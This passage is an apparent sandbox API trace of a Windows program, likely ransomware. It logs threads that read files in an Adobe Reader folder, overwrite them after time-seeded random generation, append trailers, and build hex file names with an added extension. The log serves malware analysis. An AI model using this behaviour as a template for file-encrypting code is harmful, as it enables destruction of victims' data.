Flags=0x8, Size=0x40) returned 0x420586f0 [0242.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6070 [0242.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6070) returned 1 [0242.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f6070 [0242.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d90 [0242.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0242.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0242.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0242.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x420586f0 [0242.193] sprintf (in: _Dest=0x420586f0, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.193] sprintf (in: _Dest=0x420586f2, _Format="%c%c" | out: _Dest="d2") returned 2 [0242.193] sprintf (in: _Dest=0x420586f4, _Format="%c%c" | out: _Dest="d3") returned 2 [0242.194] sprintf (in: _Dest=0x420586f6, _Format="%c%c" | out: _Dest="1c") returned 2 [0242.194] sprintf (in: _Dest=0x420586f8, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.194] sprintf (in: _Dest=0x420586fa, _Format="%c%c" | out: _Dest="41") returned 2 [0242.194] sprintf (in: _Dest=0x420586fc, _Format="%c%c" | out: _Dest="8e") returned 2 [0242.194] sprintf (in: _Dest=0x420586fe, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.194] sprintf (in: _Dest=0x42058700, _Format="%c%c" | out: _Dest="e4") returned 2 [0242.194] sprintf (in: _Dest=0x42058702, _Format="%c%c" | out: _Dest="30") returned 2 [0242.194] sprintf (in: _Dest=0x42058704, _Format="%c%c" | out: _Dest="1c") returned 2 [0242.194] sprintf (in: _Dest=0x42058706, _Format="%c%c" | out: _Dest="dd") returned 2 [0242.194] sprintf (in: _Dest=0x42058708, _Format="%c%c" | out: _Dest="71") returned 2 [0242.194] sprintf (in: _Dest=0x4205870a, _Format="%c%c" | out: _Dest="ca") returned 2 [0242.194] sprintf (in: _Dest=0x4205870c, _Format="%c%c" | out: _Dest="b6") returned 2 [0242.194] sprintf (in: _Dest=0x4205870e, _Format="%c%c" | out: _Dest="60") returned 2 [0242.194] sprintf (in: _Dest=0x42058710, _Format="%c%c" | out: _Dest="e9") returned 2 [0242.194] sprintf (in: _Dest=0x42058712, _Format="%c%c" | out: _Dest="ed") returned 2 [0242.194] sprintf (in: _Dest=0x42058714, _Format="%c%c" | out: _Dest="b5") returned 2 [0242.194] sprintf (in: _Dest=0x42058716, _Format="%c%c" | out: _Dest="75") returned 2 [0242.194] sprintf (in: _Dest=0x42058718, _Format="%c%c" | out: _Dest="3c") returned 2 [0242.194] sprintf (in: _Dest=0x4205871a, _Format="%c%c" | out: _Dest="44") returned 2 [0242.194] sprintf (in: _Dest=0x4205871c, _Format="%c%c" | out: _Dest="19") returned 2 [0242.194] sprintf (in: _Dest=0x4205871e, _Format="%c%c" | out: _Dest="24") returned 2 [0242.194] sprintf (in: _Dest=0x42058720, _Format="%c%c" | out: _Dest="7f") returned 2 [0242.194] sprintf (in: _Dest=0x42058722, _Format="%c%c" | out: _Dest="13") returned 2 [0242.194] sprintf (in: _Dest=0x42058724, _Format="%c%c" | out: _Dest="6e") returned 2 [0242.194] sprintf (in: _Dest=0x42058726, _Format="%c%c" | out: _Dest="ab") returned 2 [0242.194] sprintf (in: _Dest=0x42058728, _Format="%c%c" | out: _Dest="42") returned 2 [0242.194] sprintf (in: _Dest=0x4205872a, _Format="%c%c" | out: _Dest="78") returned 2 [0242.194] RtlInitAnsiString (in: DestinationString=0x3b42fa68, SourceString="d5d2d31c5d418efae4301cdd71cab660e9edb5753c4419247f136eab4278" | out: DestinationString="d5d2d31c5d418efae4301cdd71cab660e9edb5753c4419247f136eab4278") [0242.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b42fa38, SourceString="d5d2d31c5d418efae4301cdd71cab660e9edb5753c4419247f136eab4278", AllocateDestinationString=1 | out: DestinationString="d5d2d31c5d418efae4301cdd71cab660e9edb5753c4419247f136eab4278") returned 0x0 [0242.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a2c30 [0242.195] wcscat (in: _Dest=0x43144880, _Source="d5d2d31c5d418ef" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef" [0242.195] wcscat (in: _Dest=0x43144880, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef.2f9b60" [0242.195] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef.2f9b60", NtPathName=0x3b42fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\d5d2d31c5d418ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x430fcf40 Thread: id = 3907 os_tid = 0x1364 [0229.982] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif")) returned 0x20 [0230.879] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif", dwFileAttributes=0x20) returned 1 [0231.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32e4 [0231.209] GetFileSizeEx (in: hFile=0x32e4, lpFileSize=0x3ad2f800 | out: lpFileSize=0x3ad2f800*=969) returned 1 [0231.209] SetFilePointerEx (in: hFile=0x32e4, liDistanceToMove=0x3c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.209] ReadFile (in: hFile=0x32e4, lpBuffer=0x3ad2f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ad2f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3ad2f780*, lpNumberOfBytesRead=0x3ad2f7c8*=0x4, lpOverlapped=0x0) returned 1 [0231.224] SetFilePointerEx (in: hFile=0x32e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0231.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0231.225] NtQuerySystemTime (in: CurrentTime=0x3ad2f6c0 | out: CurrentTime=0x3ad2f6c0*=132462178352242000) returned 0x0 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x73e7dd29 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x30f9cddf [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x77a1db9 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x22a9ea3f [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x1485f01b [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x5977f4a5 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x5b5063db [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x3b27d953 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x651e953e [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x190f345f [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x3b1a41b [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x2fcb501c [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x56160c85 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x16c6ee5d [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x6352fb4 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x15067a5b [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x2bf9ce32 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x20d5ad70 [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x62689c5b [0231.225] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x18d603a9 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x19a3e384 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x7d9d07b7 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x6ee8e549 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x42e07e05 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x6ad8cb23 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x62e92567 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x6662834c [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x1458fa51 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x31a8a417 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x7c81acda [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x409cd2b3 [0231.226] RtlRandomEx (in: Seed=0x3ad2f6b0 | out: Seed=0x3ad2f6b0) returned 0x12ec69f2 [0231.232] ReadFile (in: hFile=0x32e4, lpBuffer=0x203c25a0, nNumberOfBytesToRead=0x3c9, lpNumberOfBytesRead=0x3ad2f6b0, lpOverlapped=0x0 | out: lpBuffer=0x203c25a0*, lpNumberOfBytesRead=0x3ad2f6b0*=0x3c9, lpOverlapped=0x0) returned 1 [0231.232] SetFilePointerEx (in: hFile=0x32e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.233] WriteFile (in: hFile=0x32e4, lpBuffer=0x203abd40*, nNumberOfBytesToWrite=0x3c9, lpNumberOfBytesWritten=0x3ad2f6b4, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesWritten=0x3ad2f6b4*=0x3c9, lpOverlapped=0x0) returned 1 [0239.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b170 [0239.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b140 [0239.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b140) returned 1 [0239.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0239.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203c25a0) returned 1 [0239.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0239.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0239.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431acc60 [0239.261] SetFilePointerEx (in: hFile=0x32e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.261] WriteFile (in: hFile=0x32e4, lpBuffer=0x42c14630*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3ad2f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42c14630*, lpNumberOfBytesWritten=0x3ad2f7d0*=0x116, lpOverlapped=0x0) returned 1 [0242.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0242.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860180) returned 1 [0242.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b860180 [0242.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0242.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860510 [0242.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860510) returned 1 [0242.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x431f9960 [0242.112] sprintf (in: _Dest=0x431f9960, _Format="%c%c" | out: _Dest="60") returned 2 [0242.112] sprintf (in: _Dest=0x431f9962, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.112] sprintf (in: _Dest=0x431f9964, _Format="%c%c" | out: _Dest="c6") returned 2 [0242.112] sprintf (in: _Dest=0x431f9966, _Format="%c%c" | out: _Dest="ec") returned 2 [0242.112] sprintf (in: _Dest=0x431f9968, _Format="%c%c" | out: _Dest="62") returned 2 [0242.112] sprintf (in: _Dest=0x431f996a, _Format="%c%c" | out: _Dest="aa") returned 2 [0242.112] sprintf (in: _Dest=0x431f996c, _Format="%c%c" | out: _Dest="dc") returned 2 [0242.112] sprintf (in: _Dest=0x431f996e, _Format="%c%c" | out: _Dest="1a") returned 2 [0242.112] sprintf (in: _Dest=0x431f9970, _Format="%c%c" | out: _Dest="ac") returned 2 [0242.112] sprintf (in: _Dest=0x431f9972, _Format="%c%c" | out: _Dest="2e") returned 2 [0242.112] sprintf (in: _Dest=0x431f9974, _Format="%c%c" | out: _Dest="1c") returned 2 [0242.112] sprintf (in: _Dest=0x431f9976, _Format="%c%c" | out: _Dest="ed") returned 2 [0242.112] sprintf (in: _Dest=0x431f9978, _Format="%c%c" | out: _Dest="4a") returned 2 [0242.112] sprintf (in: _Dest=0x431f997a, _Format="%c%c" | out: _Dest="79") returned 2 [0242.112] sprintf (in: _Dest=0x431f997c, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.112] sprintf (in: _Dest=0x431f997e, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.112] sprintf (in: _Dest=0x431f9980, _Format="%c%c" | out: _Dest="69") returned 2 [0242.112] sprintf (in: _Dest=0x431f9982, _Format="%c%c" | out: _Dest="b5") returned 2 [0242.112] sprintf (in: _Dest=0x431f9984, _Format="%c%c" | out: _Dest="4c") returned 2 [0242.112] sprintf (in: _Dest=0x431f9986, _Format="%c%c" | out: _Dest="4a") returned 2 [0242.112] sprintf (in: _Dest=0x431f9988, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.113] sprintf (in: _Dest=0x431f998a, _Format="%c%c" | out: _Dest="9a") returned 2 [0242.113] sprintf (in: _Dest=0x431f998c, _Format="%c%c" | out: _Dest="59") returned 2 [0242.113] sprintf (in: _Dest=0x431f998e, _Format="%c%c" | out: _Dest="2f") returned 2 [0242.113] sprintf (in: _Dest=0x431f9990, _Format="%c%c" | out: _Dest="c7") returned 2 [0242.113] sprintf (in: _Dest=0x431f9992, _Format="%c%c" | out: _Dest="cc") returned 2 [0242.113] sprintf (in: _Dest=0x431f9994, _Format="%c%c" | out: _Dest="6a") returned 2 [0242.113] sprintf (in: _Dest=0x431f9996, _Format="%c%c" | out: _Dest="14") returned 2 [0242.113] sprintf (in: _Dest=0x431f9998, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.113] sprintf (in: _Dest=0x431f999a, _Format="%c%c" | out: _Dest="40") returned 2 [0242.113] sprintf (in: _Dest=0x431f999c, _Format="%c%c" | out: _Dest="b9") returned 2 [0242.113] sprintf (in: _Dest=0x431f999e, _Format="%c%c" | out: _Dest="20") returned 2 [0242.113] sprintf (in: _Dest=0x431f99a0, _Format="%c%c" | out: _Dest="8d") returned 2 [0242.113] sprintf (in: _Dest=0x431f99a2, _Format="%c%c" | out: _Dest="1e") returned 2 [0242.113] sprintf (in: _Dest=0x431f99a4, _Format="%c%c" | out: _Dest="1b") returned 2 [0242.113] sprintf (in: _Dest=0x431f99a6, _Format="%c%c" | out: _Dest="12") returned 2 [0242.113] RtlInitAnsiString (in: DestinationString=0x3ad2f848, SourceString="60a6c6ec62aadc1aac2e1ced4a796dd569b54c4af59a592fc7cc6a14f540b9208d1e1b12" | out: DestinationString="60a6c6ec62aadc1aac2e1ced4a796dd569b54c4af59a592fc7cc6a14f540b9208d1e1b12") [0242.113] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ad2f818, SourceString="60a6c6ec62aadc1aac2e1ced4a796dd569b54c4af59a592fc7cc6a14f540b9208d1e1b12", AllocateDestinationString=1 | out: DestinationString="60a6c6ec62aadc1aac2e1ced4a796dd569b54c4af59a592fc7cc6a14f540b9208d1e1b12") returned 0x0 [0242.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43196c20 [0242.114] wcscat (in: _Dest=0x43145010, _Source="60a6c6ec62aadc1aac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac" [0242.114] wcscat (in: _Dest=0x43145010, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac.2f9b60" [0242.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac.2f9b60", NtPathName=0x3ad2f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\60a6c6ec62aadc1aac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fc7f0 Thread: id = 3908 os_tid = 0xe04 [0229.982] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif")) returned 0x20 [0230.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif", dwFileAttributes=0x20) returned 1 [0231.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xce0 [0231.255] GetFileSizeEx (in: hFile=0xce0, lpFileSize=0x3beaf920 | out: lpFileSize=0x3beaf920*=578) returned 1 [0231.255] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x23e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.255] ReadFile (in: hFile=0xce0, lpBuffer=0x3beaf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3beaf8e8, lpOverlapped=0x0 | out: lpBuffer=0x3beaf8a0*, lpNumberOfBytesRead=0x3beaf8e8*=0x4, lpOverlapped=0x0) returned 1 [0231.256] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0231.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f790 [0231.257] NtQuerySystemTime (in: CurrentTime=0x3beaf7e0 | out: CurrentTime=0x3beaf7e0*=132462178352554000) returned 0x0 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x39c07c35 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x6656ba8b [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x1835f73d [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0xb9ef7a7 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x492cc943 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0xe91a96e [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0xe951ddb [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x757230de [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x40d4a8aa [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x5e6f119d [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x3e0afc72 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x4bfe7810 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x2e0ff8fc [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x70774401 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x37ac13e9 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x2370ad3d [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x62459efa [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x5717f3c0 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x3d8275dd [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0xb91e05b [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x5c30c2ac [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x53286a6d [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x2c7643ac [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x21151c15 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0xd257bc8 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x5e784e1 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x28827db [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x42e07e05 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x4aef905b [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x4924f9f [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x100d8751 [0231.257] RtlRandomEx (in: Seed=0x3beaf7d0 | out: Seed=0x3beaf7d0) returned 0x3625833d [0231.265] ReadFile (in: hFile=0xce0, lpBuffer=0x203b3560, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x3beaf7d0, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x3beaf7d0*=0x242, lpOverlapped=0x0) returned 1 [0231.265] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.265] WriteFile (in: hFile=0xce0, lpBuffer=0x2038dcc0*, nNumberOfBytesToWrite=0x242, lpNumberOfBytesWritten=0x3beaf7d4, lpOverlapped=0x0 | out: lpBuffer=0x2038dcc0*, lpNumberOfBytesWritten=0x3beaf7d4*=0x242, lpOverlapped=0x0) returned 1 [0234.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0234.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0234.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6230) returned 1 [0234.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038dcc0) returned 1 [0234.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b3560) returned 1 [0234.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9fe0) returned 1 [0234.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0234.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a6230 [0234.119] SetFilePointerEx (in: hFile=0xce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.119] WriteFile (in: hFile=0xce0, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3beaf8f0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x3beaf8f0*=0x102, lpOverlapped=0x0) returned 1 [0236.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0236.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4600) returned 1 [0236.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0236.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 